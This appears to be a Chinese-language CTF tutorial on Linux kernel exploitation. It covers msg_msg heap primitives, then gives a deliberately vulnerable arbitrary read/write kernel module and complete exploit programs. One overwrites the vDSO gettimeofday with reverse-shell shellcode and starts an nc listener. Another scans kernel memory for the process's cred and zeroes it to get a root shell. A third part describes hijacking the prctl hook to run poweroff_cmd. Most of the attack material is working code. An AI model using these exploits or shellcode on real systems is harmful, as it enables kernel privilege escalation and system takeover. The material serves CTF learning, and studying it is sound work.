85
86
87
88
89
90
91
92
93
94
95
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
//....
if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;
//设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
if (msgflg & MSG_COPY) {
//从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
//这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
//传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
//不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
/*
static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
struct msg_msg *copy;

copy = load_msg(buf, bufsz);
if (!IS_ERR(copy))
copy->m_ts = bufsz;
return copy;
}
*/
if (IS_ERR(copy))
return PTR_ERR(copy);
}
//这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
//只是释放堆块,在后续的代码中有显示
//......
//开始从msg_queue中寻找合适的msg_msg
for (;;) {
//.....
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
//最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
//设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
if (msgflg & MSG_COPY) {
//这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}
//....
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
//如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}
//这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
bufsz = msg_handler(buf, msg, bufsz);
//最后在这里进行相关堆块的释放
free_msg(msg);

return bufsz;
}

A.非堆块释放的数据读取

一般而言,我们使用msg_msg进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY这个msgflg标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink触发错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//v5.11 do_msgrcv()函数中的
/* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

//下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;

使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y才行,否则还是会出错的

1
2
3
4
5
6
7
8
9
10
11
12
13
//v5.11 /ipc/msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
//正常的一些数据复制
}
#else
//如果没有设置CONFIG_CHECKPOINT_RESTORE=y则会出错
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
return ERR_PTR(-ENOSYS);
}
#endif

🔺注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11中,MSG_NOERRORMSG_COPY(后续会讲到)没有办法同时生效,关键点在于copy_msg()函数中,转化成汇编如下:

image-20220512163536660

注意到红框的部分,获取rdi(msg)rsi(copy)对应的m_ts进行比较,而copym_ts是从用户传进来的想要获取消息的长度,如果小于实际的msgm_ts长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。

B.释放堆块的消息读取

同理如果不指定MSG_COPY这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype和接收消息时设置的msgtpy来进行消息队列中各个位置的堆块的释放。

C.数据复制

不管什么标志位,只要不是MSG_NOERRORMSG_COPY联合起来,并且申请读取消息长度size小于通过find_msg()函数获取到的实际消息的m_ts,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放

1
2
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

(3)利用

越界读取

这样,当我们通过之前提到的double-free/UAF,并且再使用setxattr来对msg_msgmsg中的m_ts进行修改,这样在我们调用msgrcv的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。

使用setxattr的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样

为了获取到地址的成功性更大,我们就需要用到单个msg_queue和单个msg_msg的内存模型

image-20220511113542467

可以看到单个msg_msgmsg_queue的管理下形成双向循环链表,所以如果我们通过msggetmsgsnd多申请一些相同大小的且只有一个msg_msg结构体的msg_queue,那么越界读取的时候,就可以读取到只有单个msg_msg的头部了

而单个msg_msg由于双向循环链表,其头部中又存在指向msg_queue的指针,那么这样就能泄露出msg_queue的堆地址了。

任意读取

完成上述泄露msg_queue的堆地址之后,就需要用到msg_msg的内存布局了

由于我们的msg_msg消息的内存布局如下

5IcVxRaFQtg3HCW

相关读取源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//v4.9----ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
----------------------------------------------------------------
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG);
if (copy_to_user(dest, msg + 1, alen))
return -1;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG);
if (copy_to_user(dest, seg + 1, alen))
return -1;
}
return 0;
}

所以如果我们可以修改next指针和m_ts,结合读取msg最终调用函数store_msg的源码,那么就能够实现任意读取。

那么接着上面的,我们得到msg_queue之后,可以再将msg_msg的next指针指回msg_queue,读出其中的msg_msg,就能获得当前可控堆块的堆地址。

这样完成之后,我们结合userfaultfdsetxattr频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。

同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。

任意写

同样的,msg_msg由于next指针的存在,结合msgsnd也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred结构体位置,从而直接修改进行提权。

二、任意读写漏洞

内核里的读写漏洞利用方式与用户态有点不太一样,利用方式也是多种多样。

题目

首先给出下题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t arbWriteModule_dev_no;


struct arbWriteNote
{
ssize_t addr;
ssize_t len;
char* data;
};


static struct arbWriteNote* arbNoteObj;



static long arbWriteModule_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

static int arbWriteModule_open(struct inode *i, struct file *f);

static int arbWriteModule_close(struct inode *i, struct file *f);



static struct file_operations arbWriteModule_fops =
{
.owner = THIS_MODULE,
.open = arbWriteModule_open,
.release = arbWriteModule_close,
.unlocked_ioctl = arbWriteModule_ioctl
};

// 设备驱动模块加载函数
static int __init arbWriteModule_init(void)
{
printk(KERN_INFO "[i] Module arbWriteModule registered");
if (alloc_chrdev_region(&arbWriteModule_dev_no, 0, 1, "arbWriteModule") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(arbWriteModule_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, arbWriteModule_dev_no, NULL, "arbWriteModule") == NULL)
{
printk(KERN_INFO "[i] Module arbWriteModule error");
class_destroy(devClass);
unregister_chrdev_region(arbWriteModule_dev_no, 1);
return -1;
}
cdev_init(&cdev, &arbWriteModule_fops);
if (cdev_add(&cdev, arbWriteModule_dev_no, 1) == -1)
{
device_destroy(devClass, arbWriteModule_dev_no);
class_destroy(devClass);
unregister_chrdev_region(arbWriteModule_dev_no, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(arbWriteModule_dev_no), MINOR(arbWriteModule_dev_no));
return 0;

}

// 设备驱动模块卸载函数
static void __exit arbWriteModule_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(arbWriteModule_dev_no, 1);
cdev_del(&cdev);
}




// ioctl函数命令控制
long arbWriteModule_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
char* chunk = NULL;
char* buf;
int retval = 0;
switch (cmd) {
case 111: //arbRead
printk("Arbitrarily read function!---111\n");
arbNoteObj = (struct arbWriteNote*)arg;
copy_to_user(arbNoteObj->data,(char*)arbNoteObj->addr,arbNoteObj->len);
break;

case 222: //arbWrite
printk("Arbitrarily write function!---222\n");
arbNoteObj = (struct arbWriteNote*)arg;
buf = kmalloc(arbNoteObj->len,GFP_KERNEL);
copy_from_user(buf,arbNoteObj->data,arbNoteObj->len);
memcpy((char*)arbNoteObj->addr,buf,arbNoteObj->len);
kfree(buf);
break;


default:
retval = -1;
break;
}

return retval;

}


static int arbWriteModule_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module arbWriteModule: open()\n");
return 0;
}

static int arbWriteModule_close(struct inode *i, struct file *f)
{
//kfree(buffer_var);
//buffer_var = NULL;
printk(KERN_INFO "[i] Module arbWriteModule: close()\n");
return 0;
}

module_init(arbWriteModule_init);
module_exit(arbWriteModule_exit);

MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");


可以看到传入一个结构体,包含数据指针和地址,直接任意读写。

不同劫持

1.劫持vdso

(1)前置知识

vdso的代码数据在内核里,当程序需要使用时,会将vdso的内核映射给进程,也就是相当于把内核空间的vdso原封不动地复制到用户空间,然后调用在用户空间的vdso代码。

如果我们能够将vdso给劫持为shellcode,那么当具有root权限的程序调用vdso时,就会触发我们的shellcode,而具有root权限的shellcode可想而知直接就可以。而vdso是经常会被调用的,所有只要我们劫持了vdso,大概率都会运行到我们的shellcode。

真实环境中crontab会调用vdso中的gettimeofday,且是root权限的调用。

而ctf题目中就通常可以用一个小程序来模拟调用。

1
2
3
4
5
6
7
8
9
#include <stdio.h>  

int main(){
while(1)
{
sleep(1);
gettimeofday();
}
}

将这个程序编译后放到init中,用nohup挂起,即可做到root权限调用gettimeofday:

1
nohup /gettimeofday &

(2)获取地址

由于不同版本的linux内核中的vdso偏移不同,而题目给的vmlinux通常又没有符号表,所以需要我们自己利用任意读漏洞来测量。(如果题目没有任意读漏洞,建议可以自己编译一个对应版本的内核,然后自己写一个具备任意读的模块,加载之后测量即可,或者进行爆破,一般需要爆破一个半字节)

例如这里给出的代码示例,就可以通过如下代码来将vdso从内核中dump下来。不过这种方式dump的是映射到用户程序的vdso,虽然内容是一样的,不过vdso在内核中的偏移却没有办法确定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>

int main(){
int test;
size_t result=0;
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
printf("[+]VDSO : %p\n",sysinfo_ehdr);
printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);
scanf("Wait! %d", test);
/*
gdb break point at 0x400A36
and then dump memory
why only dump 0x1000 ???
*/
if (sysinfo_ehdr!=0){
for (int i=0;i<0x2000;i+=1){
printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
}
}
}

这种方法的原理是通过寻找gettimeofday字符串来得到映射到程序中的vdso的内存页,如下:

image-20211020150011934

之后把下面的内容都复制,放到CyberChef中,利用From Hex功能得到二进制文件

image-20211020150220448

然后就将得到的文件放到IDA中,即可自动解析到对应gettimeofday函数相对于vdso的函数偏移。

image-20211020150335000

这里就当是0xb20。

之后通过任意读,类似基于本题编写的以下代码,获取vdso相对于vmlinux基址的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>


struct arbWriteNote
{
ssize_t addr;
ssize_t len;
char* data;
};
struct arbWriteNote arbWriteObj;
int get_gettimeofday_str_offset();

int main(int argc, char *argv[])
{
int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//读取一页数据
arbitrary_read(devFD,0x1000,buf,addr);
//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
}

//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
printf("[-]error get name's offset\n");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset\n");
}
return name_addr - vdso_addr;
}

之后得到具体的地址

image-20211020150723942

那么最终的gettimeofday相对于vmlinux基地址就是

1
gettimeofday_addr = 0xffffffff81e04b20+0xb20

(3)任意写劫持gettimeofday

最终利用任意写,将gettimeofday函数的内容改为我们的shellcode即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// gcc -static exp.c -o exp
// ffffffff810a78d0 T SyS_gettimeofday
// ffffffff810a78d0 T sys_gettimeofday
// ffffffff810b08f0 T do_gettimeofday
// ffffffff810c7350 T compat_SyS_gettimeofday
// ffffffff810c7350 T compat_sys_gettimeofday
//0x13d
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>

#define GETTIMEOFDAY_FUN 0xB20

struct arbWriteNote
{
ssize_t addr;
ssize_t len;
char* data;
};
struct arbWriteNote arbWriteObj;


//用于反弹shell的shellcode,127.0.0.1:3333
//或者在比赛中可以直接写类似Orw打开flag的shellcode
char shellcode[]="\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";


//open dev
int openDev(char* pos);
int get_gettimeofday_str_offset();

int main(int argc, char *argv[])
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int devFD;
int addrFD;
unsigned long memOffset;
pthread_t thread;

//open Dev
char* pos = "/dev/arbWriteModule";
devFD = openDev(pos);



char *buf = (char *)calloc(1,0x1000);


int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//读取一页数据
arbitrary_read(devFD,0x1000,buf,addr);
//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
if (vdso_addr == -1) {
printf("[-]can't find vdso.so!!\n");
}
size_t gettimeofday_addr = vdso_addr + GETTIMEOFDAY_FUN;
printf("[+]gettimeofday function in kernel addr=0x%lx\n",gettimeofday_addr);
//将gettimeofday处写入我们的shellcode,因为写操作在内核驱动里完成,内核可以读写执行vdso
//用户只能读和执行vdso
arbitrary_write(devFD,strlen(shellcode),shellcode,gettimeofday_addr);
sleep(1);
printf("[+]open a shell\n");
system("nc -lvnp 3333");
return 0;
}


int openDev(char* pos){
int devFD;
printf("[+] Open %s...\n",pos);
if ((devFD = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return devFD;
}


//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
printf("[-]error get name's offset\n");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset\n");
}
return name_addr - vdso_addr;
}

void arbitrary_read(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,111,&arbWriteObj);
}

void arbitrary_write(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,222,&arbWriteObj);
}

参考:

(15条消息) linux kernel pwn学习之劫持vdso_seaaseesa的博客-CSDN博客

还有bsauce师傅的简书:https://www.jianshu.com/p/07994f8b2bb0

2.劫持cred结构体

(1)前置知识

这个没啥好讲的,就是覆盖uig和gid为零蛋就行,唯一需要的就是寻找cred的地址。

(2)寻找地址

①利用prctl函数

task_srtuct结构体是每个进程都会创建的一个结构体,保存当前进程的很多内容,其中就包括当前进程的cred结构体指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//version 4.4.72

struct task_struct {
//............................................
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
//............................................
}

给出的题目编译在4.4.72内核下。

也就是可以将comm[TASK_COMM_LEN]设置为指定的字符串,相当于打个标记,不过不同版本中可能有所不同,不如最新版本V5.14.13的Linux内核就有所不同,其中还加了一个key结构体指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//version 5.14.13

struct task_struct {
//............................................
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
stru/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
//............................................

}

然后就可以利用prctl函数的PR_SET_NAME功能来设置task_struct结构体中的comm[TASK_COMM_LEN]成员。

1
2
3
char target[16];
strcpy(target,"tryToFindPIG007");
prctl(PR_SET_NAME,target);
②内存搜索定位

通过内存搜索,比对我们输入的标记字符串,可以定位comm[TASK_COMM_LEN]成员地址,比如设置标记字符串为”tryToFindPIG007”:

image-20211020162844474

image-20211020162934065

image-20211020163051697

可以查看当前Cred结构中的内容:

image-20211020163136129

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//search target chr
char *buf = (char *)calloc(1,0x1000);
puts("[+] we can read and write any memory");
for(;addr<0xffffc80000000000;addr+=0x1000){
arbitrary_read(devFD,0x1000,buf,addr);
result=memmem(buf,0x1000,target,16);
if (result){
printf("result:%p\n",result);
cred= * (size_t *)(result-0x8);
real_cred= *(size_t *)(result-0x10);
// if ((cred||0xff00000000000000) && (real_cred == cred))
// {
target_addr=addr+result-(int)(buf);
printf("[+]found task_struct 0x%lx\n",target_addr);
printf("[+]found cred 0x%lx\n",real_cred);
break;
// }
}
}
③任意写劫持cred

这个就不多说了,获取到cred地址之后直接写就行了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// gcc -static exp.c -o exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>


struct arbWriteNote
{
ssize_t addr;
ssize_t len;
char* data;
};
struct arbWriteNote arbWriteObj;



//open dev
int openDev(char* pos);

int main(int argc, char *argv[])
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int devFD;
int addrFD;
unsigned long memOffset;
size_t addr=0xffff880000000000;
size_t cred=0;
size_t real_cred=0;
size_t target_addr;
size_t result=0;
char root_cred[28] = {0};

//set comm[TASK_COMM_LEN]
char target[16];
strcpy(target,"tryToFindPIG007");
prctl(PR_SET_NAME,target);

//open Dev
char* pos = "/dev/arbWriteModule";
devFD = openDev(pos);

//search target chr
char *buf = (char *)calloc(1,0x1000);
puts("[+] we can read and write any memory");
for(;addr<0xffffc80000000000;addr+=0x1000){
arbitrary_read(devFD,0x1000,buf,addr);
result=memmem(buf,0x1000,target,16);
if (result){
printf("result:%p\n",result);
cred= * (size_t *)(result-0x8);
real_cred= *(size_t *)(result-0x10);
// if ((cred||0xff00000000000000) && (real_cred == cred))
// {
target_addr=addr+result-(int)(buf);
printf("[+]found task_struct 0x%lx\n",target_addr);
printf("[+]found cred 0x%lx\n",real_cred);
break;
// }
}
}
if (result==0)
{
puts("not found , try again ");
exit(-1);
}

arbitrary_write(devFD,28,root_cred,real_cred);

if (getuid()==0){
printf("[+]now you are r00t,enjoy ur shell\n");
system("/bin/sh");
}
else
{
puts("[-] there must be something error ... ");
exit(-1);
}



return 0;
}


int openDev(char* pos){
int devFD;
printf("[+] Open %s...\n",pos);
if ((devFD = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return devFD;
}



void arbitrary_read(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,111,&arbWriteObj);
}

void arbitrary_write(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,222,&arbWriteObj);
}

▲注意事项

不过这个如果不加判断 if ((cred||0xff00000000000000) && (real_cred == cred))搜索出来的cred可能就不是当前进程,具有一定概率性,具体原因不知,可能是搜索到了用户进程下的字符串?

image-20211020165201267

3.劫持prctl函数

(1)函数调用链

prctl->security_task_prctl->*prctl_hook

orderly_poweroff->__orderly_poweroff->run_cmd(poweroff_cmd)-> call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)

(2)前置知识

image-20211021000903293

原本capability_hooks+440存放的是cap_task_prctl的地址

image-20211021001258001

但是经过我们的劫持之后存放的是orderly_poweroff的地址

image-20211021001355490

之前讲的prctl_hook指的就是capability_hooks+440。

这样劫持之后我们就能调用到orderly_poweroff函数了。

而orderly_poweroff函数中会调用实际__orderly_poweroff函数,有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//version 4.4.72
static int __orderly_poweroff(bool force)
{
int ret;

ret = run_cmd(poweroff_cmd);

if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");

/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}

return ret;
}

这里就调用到run_cmd(poweroff_cmd),而run_cmd函数有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//version 4.4.72
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
argv_free(argv);
} else {
ret = -ENOMEM;
}

return ret;
}

这里就调用到call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC),这里的参数rdi中就是

poweroff_cmd。所以如果我们可以劫持poweroff_cmd为我们的程序名字字符串,那么就可以调用call_usermodehelpe函数来启动我们的程序。而poweroff_cmd是一个全局变量,可以直接获取地址进行修改。

